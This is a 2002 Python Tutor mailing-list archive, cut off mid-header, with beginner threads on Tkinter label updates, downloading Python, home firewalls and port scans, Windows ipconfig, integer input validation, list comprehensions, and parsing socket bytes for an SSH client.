arcege@speakeasy.net Thu Feb 28 01:32:41 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Wed, 27 Feb 2002 20:32:41 -0500 Subject: [Tutor] Updating Label widgets in Tkinter In-Reply-To: ; from wilson@isis.visi.com on Tue, Feb 26, 2002 at 11:21:07PM -0600 References: Message-ID: <20020227203241.B894@speakeasy.net> On Tue, Feb 26, 2002 at 11:21:07PM -0600, Tim Wilson wrote: > Hi everyone, > > I'm hoping there's a Tkinter expert or two out there who can offer some > help with the following: > > I'm working through a number of the Tkinter tutorials and John Grayson's > book "Python and Tkinter Programming," but I continue to be stymied by > the problem of updating the text of a label widget based on some > calculation that's bound to a button. I'm including some code that draws > a very simple screen that presents an entry widget. The user is supposed > to enter a number, click calculate, and be presented with the square > root of the number they typed. I've tried a bunch of things at this > point, but everything's starting to blur. Can anyone point me in the > right direction? First, you need to save the widget as a member of the Calculator instance. We'll use that later in the calc() method. You will also have to do that to the Entry widget if you cant the value to be cleared. But the essential component is that you change the 'text' attribute of the widget. You can do this with the config() method or by changing the the value by subscripting. You've got a few other errors too, which I've corrected. > from Tkinter import * > from math import sqrt > > class Calculator(Frame): > def __init__(self): > """Create an instance of a very simple calculator.""" > Frame.__init__(self) > self.pack(expand=YES, fill=BOTH) > self.master.title('Square Root Calculator') > self.master.iconname('Sqrt') > > fInput = Frame(self) > fInput.pack() > Label(fInput, text='x = ').pack(side=LEFT) > number = StringVar() > Entry(fInput, textvariable=number).pack(side=LEFT) > > fOutput = Frame(self) > fOutput.pack() > fOutput.pack(padx=5, pady=5) > result = Label(fOutput, > text='Waiting for a number...').pack(pady=10) # 'Label().pack()' returns None, so result gets set to that. self.result = Label(fOutput, text='Waiting for a number...') self.result.pack(pady=10) > buttons = Frame(self) > buttons.pack(padx=5, pady=5) > Button(buttons, text='Calculate', > command=self.calc(number)).pack(side=LEFT, padx=3) command=lambda c=self.calc, n=number: c(n) ).pack(side=LEFT, padx=3) # the 'command=self.calc(number)' will attempt to calculate # the number now, not when the button is pressed, we can put # it in a lambda to let it be evaluated later. > Button(buttons, text='Quit', > command=self.quit).pack(side=LEFT, padx=3) > > def calc(self, number): > """Update the label named 'result' to say 'The square root of > is ' > and then clear the contents of the entry box.""" try: numb = int(number.get()) except ValueError: return # do nothing self.result.config( text='The square root of %d is %d' % (numb, sqrt(numb)) ) number.set("") # clear the StringVar displayed in the Entry widget > Calculator().mainloop() These are just the simple corrections; there are other improvement that can be made. Those can be addressed later if you like. -Arcege From dsh8290@rit.edu Thu Feb 28 02:01:29 2002 From: dsh8290@rit.edu (dman) Date: Wed, 27 Feb 2002 21:01:29 -0500 Subject: [Tutor] IP numbers and Python In-Reply-To: References: Message-ID: <20020228020129.GA2452@dman.ddts.net> On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote: | On Wed, 27 Feb 2002 09:54:01 -0800 | >Another alternative is a self-contained router. I've seen a 4-port | >from LinkSys that has a firewall for a couple-hundred dollars. Has | >a nice browser-based interface, etc. | | I saw one of these at my local MicroCenter. $99 for a four port-er. | I'm in the process of building a home network and I considered | getting one to share my DSL with the network. At a local shop one can obtain a Pentium-class machine (ie P133, 48MB RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or less (depends on the exact specs). If you wanted to, you could put a *nix system on it and have full control over your firewall. You would also want to get a hub or switch to connect the rest of the LAN to it. | Now, (to bring this back on topic) what would be interesting would | be a Python script that parsed your firewall log files for the IPs | (and/or any other info you wanted), then used the DNS lookup site | Llyod (I think) mentioned to get some idea of where the scans are | coming from. You could even get fancy and have it create a graph of | some sort...percentage of scans/attacks from various addresses or | address block owners or ISPs. You could even keep track of the | information over time, to see what trends develop. I'm pretty sure | all the functionality for this exists in various Python modules. | | Hmmm...I just might try that myself once I get my home network up | and running. Sounds like a good project for someone wanting to get | into Networking. (That would be me...) Are you going to include a parser for iptables' logs? :-) -D -- the nice thing about windoze is - it does not just crash, it displays a dialog box and lets you press 'ok' first. From KevinzThaMAN@aol.com Thu Feb 28 00:21:09 2002 From: KevinzThaMAN@aol.com (KevinzThaMAN@aol.com) Date: Wed, 27 Feb 2002 19:21:09 EST Subject: [Tutor] (no subject) Message-ID: <2f.2317c591.29aed1f5@aol.com> --part1_2f.2317c591.29aed1f5_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi....I'm interested in learning to program but keep running into problems when trying to download Python.....is there anyway you might could zip it and send it to me or would you have any suggestions on how I'm supposed to get Python? Anything you could tell me would be helpful.......thanks....Kevin --part1_2f.2317c591.29aed1f5_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi....I'm interested in learning to program but keep running into problems when trying to download Python.....is there anyway you might could zip it and send it to me or would you have any suggestions on how I'm supposed to get Python? Anything you could tell me would be helpful.......thanks....Kevin --part1_2f.2317c591.29aed1f5_boundary-- From wilson@isis.visi.com Thu Feb 28 02:53:30 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Wed, 27 Feb 2002 20:53:30 -0600 (CST) Subject: [Tutor] (no subject) In-Reply-To: <2f.2317c591.29aed1f5@aol.com> Message-ID: On Wed, 27 Feb 2002 KevinzThaMAN@aol.com wrote: > Hi....I'm interested in learning to program but keep running into problems > when trying to download Python.....is there anyway you might could zip it and > send it to me or would you have any suggestions on how I'm supposed to get > Python? Anything you could tell me would be helpful.......thanks....Kevin Python comes prezipped for your convenience directly from python.org. Point your Web browser to ftp://ftp.python.org/pub/python/2.2/Python-2.2.exe Not zipped exactly, but this is the installer you need to run to install Python on your Windows system. See http://www.python.org/2.2/ for info about other platforms. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From rickp@telocity.com Thu Feb 28 03:16:53 2002 From: rickp@telocity.com (Rick Pasotto) Date: Wed, 27 Feb 2002 22:16:53 -0500 Subject: [Tutor] IP numbers and Python In-Reply-To: <20020228020129.GA2452@dman.ddts.net> References: <20020228020129.GA2452@dman.ddts.net> Message-ID: <20020228031653.GF3547@tc.niof.net> On Wed, Feb 27, 2002 at 09:01:29PM -0500, dman wrote: > On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote: > | On Wed, 27 Feb 2002 09:54:01 -0800 > | >Another alternative is a self-contained router. I've seen a 4-port > | >from LinkSys that has a firewall for a couple-hundred dollars. Has > | >a nice browser-based interface, etc. > | > | I saw one of these at my local MicroCenter. $99 for a four port-er. > | I'm in the process of building a home network and I considered > | getting one to share my DSL with the network. > > At a local shop one can obtain a Pentium-class machine (ie P133, 48MB > RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or > less (depends on the exact specs). If you wanted to, you could put a > *nix system on it and have full control over your firewall. You would > also want to get a hub or switch to connect the rest of the LAN to it. I suspect that a Linksys type router uses significantly less electricity than your P133 and since it has no moving parts is less likely to break down. It's also much smaller and less hackable from the outside. Unless you want the experience and consequent knowledge of setting up your own firewall, the Linksys seems the wiser choice. (And they are readily available for only $79.) -- "Once the principle of government -- judicial monopoly and the power to tax -- is incorrectly accepted as just, any notion of restraining government power and safeguarding individual liberty and property is illusory." -- Hans-Herman Hoppe Rick Pasotto rickp@telocity.com http://www.niof.net From dyoo@hkn.eecs.berkeley.edu Thu Feb 28 04:00:13 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 27 Feb 2002 20:00:13 -0800 (PST) Subject: [Tutor] Website for Code Review [Python ChalkBoard] In-Reply-To: Message-ID: Dear Shelia, I've been editing your posts on ChalkBoard... but in a good way, I promise! I've gotten syntax highlighting to work: http://www.decrem.com:8080/ChalkBoard/1014822498 I injected the MoinMoin python colorizer into Squishdot; all that one needs to do is put the magic tags PYTHONCODE: ### ## Put source code here ### around their code, and it should come out pretty well. From urnerk@qwest.net Thu Feb 28 03:59:49 2002 From: urnerk@qwest.net (Kirby Urner) Date: Wed, 27 Feb 2002 19:59:49 -0800 Subject: [Tutor] IP numbers and Python In-Reply-To: <20020228031653.GF3547@tc.niof.net> References: <20020228020129.GA2452@dman.ddts.net> <20020228020129.GA2452@dman.ddts.net> Message-ID: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus> Of course in the original thread the questioner already had a software firewall, which was catching and blocking attempts to get in. So it's not a given that any further purchases are really necessary. In a desperate attempt to tie this back to Python, I'd say low-level packet interception and analysis (as might happen in a firewall), is one of those kinds of applications that Python is *not* good at.... ok, I said it was desperate. Kirby PS: when considering hardware switches/hubs, think about the wireless option too. This 3com HomeConnect box on my desk works as a 100/10 mbps switch for 3 boxes connected by regular Ethernet cable, has a separate port for DSL, which it gateways, has built in firewall and DHCP server, and supports some generous number of additional nodes by 11 mps wireless (I've got a laptop downstairs that's part of the network thanks to PC card antenna). The switch is configurable via web browser interface. Costs more than $79, but then you get a lot more. From python.tutorial@jarava.org Thu Feb 28 04:38:31 2002 From: python.tutorial@jarava.org (Javier JJ) Date: Thu, 28 Feb 2002 05:38:31 +0100 Subject: [Tutor] IP numbers References: <20020227035551.GA26544@dman.ddts.net> Message-ID: <002801c1c012$5afa4520$931304d5@uno> < snip> > Depends on your system. Given that you're using OE, I'll assume > you've got a MS platform. A fair assumption, I'd say :-) > If you pick the first one (you probably have), then try running > 'winipcfg' and releasing, then renewing, the lease. (that only works > with the 95/98/me family, don't know where it is in 2k) In w2k / NT, there is no "winipcfg" app, it's a command line util called "ipconfig" :) Works much better (IMO) What you'd have to do is: C:\> ipconfig /release * C:\> ipconfig /renew * >DHCP means > that a server is configured to assign IP addresses and also give your > machine routing and nameserver information. This is probably want you > want for your system to work, and you have no control over what IP you > get. > < .... > > > There is another possibility, though. If you use a regular modem to > dial-in to your ISP, then you have no control over your IP at all. Also, even if you have "ethernet" connection to the 'Net, the ISP / Company DHCP server is quite likely programmed to assign you an IP from a fairly reduced set, so... From python.tutorial@jarava.org Thu Feb 28 04:40:43 2002 From: python.tutorial@jarava.org (Javier JJ) Date: Thu, 28 Feb 2002 05:40:43 +0100 Subject: [Tutor] IP numbers References: <4.2.0.58.20020227092719.00d04c10@pop3.norton.antivirus> Message-ID: <002901c1c012$6854b250$931304d5@uno> This is precisely what I was going to say now :) I have a DSL connection on a "relatively" unknown IP block (ie, my ISP has been offering DSL connections on these addresses for a relatively short time, os it's not a "known" target for hackers as, for example, @Home might bel :-)). I have ZoneAlarm pro installed (get it, it's _great! :-), and I am logging on the order of around 100 or so "alerts" in the firewall, dayly!! But most of thems might be random pings, and random "background" noise from the internet. I also participate in the DShield project (a project to pool "distributed" firewall logs to analize them and find traffic / attack patterns, check it out at www.dshield.org ), and the "logging" client "cleans up" my logs.. and usually only reports a few alerts as noteworthy... So, don't be _too_ paranoid. A little paranoid is OK, but try not to overdo it!! (for instance, I once was getting frequent connection attempts at ports 135, 139 and 444 from a range of 5 differente IP addresses... on the order of almost 30 attempts / hour for a couple of days... in the end, it was a misconfigured app that someone had "hardwired" a series of IP to connect to.. and one of them was mine!! :) So, my advice is: make sure you have your system properly patched (windowsUpdate.microsoft.com is your friend), turn off services you aren't using, get a firewall (the free Zone Alarm should sufice for most people)... and stop worrying too much about it. IT's _NOT_ "forget about it", just don't worry too much about it!! Javier ---- PC! Politically Correct (or) Pure Crap! ----- Mensaje original ----- De: "Kirby Urner" Para: "Cameron Stoner" CC: "python tutor" Enviado: miércoles, 27 de febrero de 2002 18:32 Asunto: Re: [Tutor] IP numbers > > > > >I have Norton Internet Security which has stopped him so far, but I wanted > >to go > >a step further and not allow him to find me. I don't know why this person > >is comming > >after me. > > > >Cameron > > > > Note: > > I don't know if this is your situation, but some people > who get a firewall for the first time (either hardware, > or more likely a software product, like ZoneAlarm or > a Norton thing), and have it log port scans (attempts > to find security holes), are alarmed by the number of > such attempts. This is especially true if you computer > is "always on" (the Internet that is, e.g. when you have > DSL or a cable modem). > > What you will find is that cyberspace if full of this > background noise of port scanning. People are running > these bots to look for holes. There aren't necessarily > people actively paying much attention -- they look over > the results later. > > So if what you're seeing are just random reports of > being scanned, even by the same IP-domain each time, > don't think you have to run off and change your IP > number. It'll happen with the new number too, as a > lot of the scanning bots just check huge ranges of > possible numbers. > > And don't take it too personally. Think of mosquitos > in the forest, trying to find some blood to suck. > Carry repellant, zip up your tent, but if you want > to be in the forest at all, you're going to have to > put up with pests. > > Kirby > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From python.tutorial@jarava.org Thu Feb 28 04:45:23 2002 From: python.tutorial@jarava.org (Javier JJ) Date: Thu, 28 Feb 2002 05:45:23 +0100 Subject: [Tutor] wiin32clipboard "odd" behaviour?? Message-ID: <002e01c1c012$d0406530$931304d5@uno> Hi all!! I am experiencing a "strange" thing when trying to use the win32clipboard module that comes with Active State's Active Python distro... The thing is, I want to "load" a list of strings to the "main" clipboard (thing loading a list of alternate URLs to clipoard managers like GetRight :-) The thing is, I OpenCliboard(), I SetClipboardText(text) and I can GetClipboardData(format), but I can't "get" the clipboard data from outside apps (not even after I've CloseClipboard() )... It seems like I've gotten a "new" clipboard all for myself... So, what would I have to do to manage things "as usual"?? Ideas, pointers?? TIA Javier ---- To be, or not to be. *BOOM!* Not to be. From python.tutorial@jarava.org Thu Feb 28 04:56:20 2002 From: python.tutorial@jarava.org (Javier JJ) Date: Thu, 28 Feb 2002 05:56:20 +0100 Subject: RV: [Tutor] IP numbers and Python Message-ID: <008c01c1c014$43b79c30$931304d5@uno> Sorry, again I answered to poster instead than to the list!! Javier ---- To be, or not to be. *BOOM!* Not to be. ----- Mensaje original ----- De: "Javier JJ" Para: "dman" Enviado: jueves, 28 de febrero de 2002 5:54 Asunto: RE: [Tutor] IP numbers and Python > > > > On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote: > > | On Wed, 27 Feb 2002 09:54:01 -0800 > > | >Another alternative is a self-contained router. I've seen a 4-port > > | >from LinkSys that has a firewall for a couple-hundred dollars. Has > > | >a nice browser-based interface, etc. > > | > > | I saw one of these at my local MicroCenter. $99 for a four port-er. > > | I'm in the process of building a home network and I considered > > | getting one to share my DSL with the network. > > > > At a local shop one can obtain a Pentium-class machine (ie P133, 48MB > > RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or > > less (depends on the exact specs). If you wanted to, you could put a > > *nix system on it and have full control over your firewall. You would > > also want to get a hub or switch to connect the rest of the LAN to it. > > Great idea... provided you have the know-how :) > > Setting up a firewall is _fun_.. but to set up an effective one, is not too > easy (though it's a great learning experience! :-) > > JJ > ---- > > To be, or not to be. *BOOM!* Not to be. > > From dsh8290@rit.edu Thu Feb 28 05:32:55 2002 From: dsh8290@rit.edu (dman) Date: Thu, 28 Feb 2002 00:32:55 -0500 Subject: [Tutor] IP numbers and Python In-Reply-To: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus> References: <20020228020129.GA2452@dman.ddts.net> <20020228020129.GA2452@dman.ddts.net> <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus> Message-ID: <20020228053255.GA6044@dman.ddts.net> On Wed, Feb 27, 2002 at 07:59:49PM -0800, Kirby Urner wrote: | In a desperate attempt to tie this back to Python, | I'd say low-level packet interception and analysis | (as might happen in a firewall), is one of those | kinds of applications that Python is *not* good | at.... ok, I said it was desperate. Right. That sort of operation needs to be inside the kernel, in the TCP (or UDP) / IP stack. | PS: when considering hardware switches/hubs, think | about the wireless option too. Think about it, but think hard. One potential scenario is that someone else (a "bad guy") with a wireless interface is (at some point in time) close enough to join your network. Now he is behind your firewall, through no fault of the firewall's. Security on a wireless network is much more difficult than with a wired one. It is nice, though (I imagine), if you have a laptop or other mobile device. -D -- The truly righteous man attains life, but he who pursues evil goes to his death. Proverbs 11:19 From sheila@thinkspot.net Thu Feb 28 05:32:14 2002 From: sheila@thinkspot.net (Sheila King) Date: Wed, 27 Feb 2002 21:32:14 -0800 Subject: [Tutor] Website for Code Review [Python ChalkBoard] In-Reply-To: References: Message-ID: <10EF094CE0@kserver.org> On Wed, 27 Feb 2002 20:00:13 -0800 (PST), Danny Yoo wrote about Re: [Tutor] Website for Code Review [Python ChalkBoard]: > Dear Shelia, > > I've been editing your posts on ChalkBoard... but in a good way, I > promise! I would always trust my Python code to you, Danny! > I've gotten syntax highlighting to work: > > http://www.decrem.com:8080/ChalkBoard/1014822498 > > I injected the MoinMoin python colorizer into Squishdot; all that one > needs to do is put the magic tags PYTHONCODE: > > ### > > ## Put source code here > > ### > > around their code, and it should come out pretty well. Fully great. I posted a follow-up comment there. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From kojo@hal-pc.org Thu Feb 28 06:49:53 2002 From: kojo@hal-pc.org (Kojo Idrissa) Date: Thu, 28 Feb 2002 00:49:53 -0600 Subject: [Tutor] IP numbers and Python In-Reply-To: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus> References: <20020228031653.GF3547@tc.niof.net> <20020228020129.GA2452@dman.ddts.net> <20020228020129.GA2452@dman.ddts.net> Message-ID: <5.1.0.14.0.20020228004759.00b0d278@Pop3.norton.antivirus> At 07:59 PM 2/27/2002 -0800, Kirby Urner wrote: >In a desperate attempt to tie this back to Python, Here I was, thinking I had done just that...and so cleverly too... Ah well...we usually aren't as clever as we think we are... :-) **************************** Kojo Idrissa kojo@hal-pc.org http://www.hal-pc.org/~kojo/ **************************** From alan.gauld@bt.com Thu Feb 28 10:55:48 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 28 Feb 2002 10:55:48 -0000 Subject: [Tutor] gui questions Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E1@mbtlipnt02.btlabs.bt.co.uk> > ... I want to use some sort of gui. Would it be > better for me to start out using curses or tkinter? Of those two I'd go with Tkinter. For a start curses is a primitive (albeit useful) way of providing GUI like facilities on a text terminal - its not a real GUI. > ... Would wxpython be a choice also, or is it very > much harder? Personally I find it harder, but it does go further in that it has a richer widget set and some people prefer its look. Tkinter has nmore beginners documentation but if you already know C++ then wxWindows is adequately documented. If you don't read C++ then I'd say learn Tkinter first. You can quickly compare by running through my tutor's GUI page which shows Tkinter then concludes with the same program in wxPython - they are not much different - in fact they have exactly the same number of lines! > Also, should I start writing my program for the gui > from the start or write the basic functionality and > a simpler interface then add the gui I always try to do a command line version first so that I concentrate on the function rather than the cosmetics. This usually leads to a more reusable solution too as it separates the function from the display - A Good Thing(TM) See the Case Study on my tutor for an example of how that can be done... Alan g. Author of the 'Learning to Program' web site http://www.freenetpages.co.uk/hp/alan.gauld ( Who got himself suspended from the mailing list for some reason and only realised yesterday...) From alan.gauld@bt.com Thu Feb 28 11:00:17 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 28 Feb 2002 11:00:17 -0000 Subject: [Tutor] Problems with genetically engineering the Print Ogre Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E2@mbtlipnt02.btlabs.bt.co.uk> > Since I came into the discussion late - did anybody ever > suggest using a format like > > to print > > or, as not to use up "to" as a word, > > into print This is just a 'natural' English translation of OO syntax, thus: file.print() It clutters up the language to little advantage IMHO. If file objects got a method that acted like the print statement (foibles and all) then that would IMHO suffice. BTW I'm astounded this dsiscussion is still going on from when I lost contact over a week ago! :-) Alan g. From tim.one@comcast.net Thu Feb 28 08:49:02 2002 From: tim.one@comcast.net (Tim Peters) Date: Thu, 28 Feb 2002 03:49:02 -0500 Subject: [Tutor] Problems with genetically engineering the Print Ogre In-Reply-To: <200202272232.g1RMWCS29210@possum.cozen.org> Message-ID: [Remco Gerlich] > Personally I think list comprehensions are beautiful. It helps if you > are used to similar notation in math. [Scot Stevenson] > I sure it does - but that does somewhat confirm my suspicion that this > is a construct added for a very specialized group of users =8). In America, students are exposed to "set builder" notation starting at about age 12. That's where list comprehensions trace from, quite directly (Python borrowed it from Haskell, which in turn borrowed it from SETL, which in turn was inspired by Cantor's beautiful 19th-century pen-&-paper notation; it's uglier in ASCII, of course). You can't tell me Germany coddles its young students more than America does . From blacktrash@gmx.net Thu Feb 28 17:14:51 2002 From: blacktrash@gmx.net (Christian Ebert) Date: Thu, 28 Feb 2002 18:14:51 +0100 Subject: [Tutor] how to get complete output in interpreter? Message-ID: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195> Hello there, Is there an upper limit to the (lines of?) print statements in the interpreter? As I don't want to bother with a gui yet I use the interpreter as interface for a little "database". Everything works fine, except when I print a "long" result of a query. The interpreter then truncates the result at the top and displays only a certain amount of lines. It's not due to an error in the script because when I write the result to a file it's all there. Splitting into several print statements doesn't make any difference either. Anybody knows how to change this? Or is it a MacPython issue (I will ask on the macpython list then)? TIA Christian -- Hyperion in Frankfurt www.tko.ch/blacktrash www.schauspielfrankfurt.de From alan.gauld@bt.com Thu Feb 28 17:25:59 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 28 Feb 2002 17:25:59 -0000 Subject: [Tutor] Problems with genetically engineering the Print Ogre Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E7@mbtlipnt02.btlabs.bt.co.uk> > In America, students are exposed to "set builder" notation > starting at about age 12. That's where list comprehensions > trace from, quite directly I can't speak for Germany, nor even for modern UK practice, but personally I didn't meet set definition syntax until the end of second year high school (about 14) and had the opportunity to drop math (and major on say sciences/engineering instead) very soon after. Thus it is entirely possible that I could have gone thru' school with only a brief exposure to set building notation. (We had of course covered set theory with Venn diagrams, Union symbols etc but not the set definition syntax resembling comprehensions...) In fact I personally kept up math and thus had exposure through the next 3 years until I went off to earn a living! Then, 9 years after leaving school I went back to University and studied Electrical Engineering with compulsory math each year for 4 years. I think I only saw set notation being used a handful of times and it certainly wasn't needed to pass the exams. My point being that in my own experience it is very easy to become a professional engineer/programmer without much exposure to set builder notation and in that case list comprehensions are far from being easily comprehensible! As for me, I think they are overused - like many new toys - and the older map/filter/reduce are often clearer constructs, but in the other places, where they really are useful I am starting to use them and grudgingly like them.... I just don't find the [x for x ... syntax scans well in my brain... > You can't tell me Germany[or UK?] coddles its young > students more than America does . It may be so. Or maybe we give them integral calculus sooner to compensate - around the same time as set builder notation... :-) Alan G. From clickron@webtv.net Thu Feb 28 18:17:33 2002 From: clickron@webtv.net (Ron) Date: Thu, 28 Feb 2002 13:17:33 -0500 (EST) Subject: [Tutor] types Message-ID: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net> I want to ask for a integer using something like number = input("Give me a number'), but if a string is accidentally put in I don't want it to throw an error message. I'd like it to say something like "Enter a number, try again." I'm sure it's something simple and I'm just not seeing it. Appreciate any help out there. Ron From scarblac@pino.selwerd.nl Thu Feb 28 18:27:09 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 28 Feb 2002 19:27:09 +0100 Subject: [Tutor] types In-Reply-To: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net>; from clickron@webtv.net on Thu, Feb 28, 2002 at 01:17:33PM -0500 References: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net> Message-ID: <20020228192709.A7047@pino.selwerd.nl> On 0, Ron wrote: > I want to ask for a integer using something like number = input("Give me > a number'), but if a string is accidentally put in I don't want it to > throw an error message. I'd like it to say something like "Enter a > number, try again." I'm sure it's something simple and I'm just not > seeing it. Appreciate any help out there. Firstly, you need to use raw_input instead of input - it returns the string the user typed, and doesn't try to convert it itself. This is almost always better (the user can type arbitrary Python commands into the input() prompt!) Then, we put it in a loop, that continues until we break out of it when the integer was entered correctly. And you need to catch the error with a try: except: block. It becomes something like: while 1: s = raw_input("Enter a number: ") try: i = int(s) except ValueError: # Do this in case of an error print "Please enter a legal integer." else: # Do this if there was no error. break # End loop print "You entered", i This sort of thing takes 1 line, until the moment you start thinking about the real world, then it suddenly takes around 10... -- Remco Gerlich From glingl@aon.at Thu Feb 28 20:43:53 2002 From: glingl@aon.at (Gregor Lingl) Date: Thu, 28 Feb 2002 21:43:53 +0100 Subject: [Tutor] types References: <5497-3C7E743D-327@storefull-164.iap.bryant.webtv.net> Message-ID: <002701c1c098$a25b29d0$1664a8c0@mega> You arrive at something simple if you use raw_input() which asks for a string and then try to convert to an integer and catch the error if this doesn't work, asking again for another input: def askForInteger(prompt): answer = raw_input(prompt) while type(answer)!=type(0): try: answer = int(answer) except: answer = raw_input("Enter an integer: ") return answer Regards Gregor ----- Original Message ----- From: "Ron" To: Sent: Thursday, February 28, 2002 7:17 PM Subject: [Tutor] types > I want to ask for a integer using something like number = input("Give me > a number'), but if a string is accidentally put in I don't want it to > throw an error message. I'd like it to say something like "Enter a > number, try again." I'm sure it's something simple and I'm just not > seeing it. Appreciate any help out there. > > Ron > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From dsh8290@rit.edu Thu Feb 28 20:50:50 2002 From: dsh8290@rit.edu (dman) Date: Thu, 28 Feb 2002 15:50:50 -0500 Subject: [Tutor] how to get complete output in interpreter? In-Reply-To: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195> References: <20020228181505-r01010800-d3a98d0d-0922-0108@217.0.165.195> Message-ID: <20020228205050.GA12174@dman.ddts.net> On Thu, Feb 28, 2002 at 06:14:51PM +0100, Christian Ebert wrote: | Hello there, | | Is there an upper limit to the (lines of?) print statements | in the interpreter? No. There is a limit to the size of your screen, though. | As I don't want to bother with a gui yet I use the | interpreter as interface for a little "database". Everything | works fine, except when I print a "long" result of a query. | The interpreter then truncates the result at the top and | displays only a certain amount of lines. It's not due to an | error in the script because when I write the result to a | file it's all there. Splitting into several print statements | doesn't make any difference either. If you have a *nix style system (OS X) you can pipe the output through a pager so that you can scroll through all the output. | Anybody knows how to change this? Or is it a MacPython issue | (I will ask on the macpython list then)? It is an environment issue. I know that on win9x, the "DOS shell" window only gives around 24 or 25 lines and no scrollback. In win2k, the user can configure how many lines of scrollback to remember. Then he can scroll up and see what he missed (up to a point). The same goes for the X-based terminal emulators I've used. I haven't used MacOS in many years, and when I did I knew very little about computers. If you have OS X, though, it is the best yet since it is based on an *BSD kernel (OpenBSD I think). -D -- "...In the UNIX world, people tend to interpret `non-technical user' as meaning someone who's only ever written one device driver." --Daniel Pead From python@jayed.com Thu Feb 28 20:53:26 2002 From: python@jayed.com (python@jayed.com) Date: Thu, 28 Feb 2002 14:53:26 -0600 Subject: [Tutor] packet parsing Message-ID: <20020228205326.GA54231@jayed.com> Hello, I'm trying to make the best of my unemployed time and have decided that implementing an SSH client in Python will keep me occupied for a few years. I've just started, and am working on the first non-trivial part (which appeared REALLY quickly in the IETF draft). My program connects to the server; the server says, "I'm an SSH server". My client says, "I'm an SSH client". The server then sends a variable length message in SSH Binary Packet Format to initiate a key exchange. My first question is: do I need to be concerned about little/big/network-endian? Both of my machines are little-endian. So when I look at a byte from the SSH server's packet, do I need to do a network-to-host translation? Conversely, when I send a byte to the server, do I need to do a host-to-network translation My second question is: how do I look at/manipulate bytes of an incoming network packet? Or bits even. Right now, I have the following piece of code that receives the SSH server's initial key exchange packet: kexrecv = mysock.recv(blocksize) I want to directly manipulate the bits/bytes of kexrecv. Everything that I've done makes kexrecv into a string. And I'm having problems with kexrecv as a string -- I want to deal with it as a binary stream. (Note: this might not be the best way to deal with it, but until I have a good grip on the SSH transport protocol, it's how I prefer to deal with it -- right now I want to be able to say: "read the first 32 bits, convert it into a number; read the next 8 bits, convert it into a number; read the next 128 bits...blah, blah, etc.). type(kexrecv) results in type(`kexrecv`) results in len(kexrecv) returns nothing len(`kexrecv`) returns 830 print len(kexrecv) returns 632 print len(`kexrecv`) returns 830 (Yes, I know that the backticks are equivalent to repr() -- I looked it up on google last night). I want to deal with kexrecv and not `kexrecv`. But I haven't been able to figure it out. If kexrecv is a string [as type(kexrecv) seems to think] why doesn't len(kexrecv) return anything? And if kexrecv is a string, why does len(`kexrecv`) return a larger value than "print len(kexrecv)"? Thanks, Jay From scarblac@pino.selwerd.nl Thu Feb 28 20:57:19 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 28 Feb 2002 21:57:19 +0100 Subject: [Tutor] packet parsing In-Reply-To: <20020228205326.GA54231@jayed.com>; from python@jayed.com on Thu, Feb 28, 2002 at 02:53:26PM -0600 References: <20020228205326.GA54231@jayed.com> Message-ID: <20020228215719.A7775@pino.selwerd.nl> On 0, python@jayed.com wrote: > My second question is: how do I look at/manipulate bytes of an incoming > network packet? Or bits even. Right now, I have the following piece of > code that receives the SSH server's initial key exchange packet: > > kexrecv = mysock.recv(blocksize) > > I want to directly manipulate the bits/bytes of kexrecv. Everything > that I've done makes kexrecv into a string. And I'm having problems > with kexrecv as a string -- I want to deal with it as a binary stream. The string *is* the binary stream. A string is just a bunch of bytes. > type(kexrecv) results in > type(`kexrecv`) results in > len(kexrecv) returns nothing > len(`kexrecv`) returns 830 > print len(kexrecv) returns 632 > print len(`kexrecv`) returns 830 > > (Yes, I know that the backticks are equivalent to repr() -- I looked it > up on google last night). I want to deal with kexrecv and not > `kexrecv`. But I haven't been able to figure it out. > > If kexrecv is a string [as type(kexrecv) seems to think] why doesn't > len(kexrecv) return anything? And if kexrecv is a string, why does > len(`kexrecv`) return a larger value than "print len(kexrecv)"? kexrecv is a string of length 632. `kexrecv` is its text representation, in a way that it could be a python literal - that means that say a zero byte is one character in the string itself, but '\x00' in the repr - three bytes longer. Try playing around with the string (and small parts of it) a bit more in the interpreter to get the idea. I don't have more time atm to reply carefully to your other comments, this is just a quick post. -- Remco Gerlich From python@jayed.com Thu Feb 28 21:16:13 2002 From: python@jayed.com 